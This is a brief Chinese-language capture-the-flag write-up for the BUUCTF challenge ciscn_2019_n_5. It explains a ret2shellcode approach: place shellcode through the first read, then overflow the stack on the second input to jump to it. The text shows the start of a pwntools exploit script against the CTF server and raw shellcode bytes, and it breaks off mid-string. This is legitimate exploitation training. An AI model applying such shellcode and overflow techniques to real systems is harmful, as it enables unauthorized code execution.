buuctf ciscn_2019_n_5 ret2shellcode解题思路
BUUCTF ciscn_2019_n_5 ret2shellcodecheck一下,最喜欢的一片红色,64位的程序发现存在两次输入,那么我们就通过read将构造的shellcode写在栈上,然后在第二次的时候通过构造溢出覆盖返回地址跳转到我们写入shellcode的这个地方,然后就开始构造吧:from pwn import *p=remote('node3.buuoj.cn',25157)sh="\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48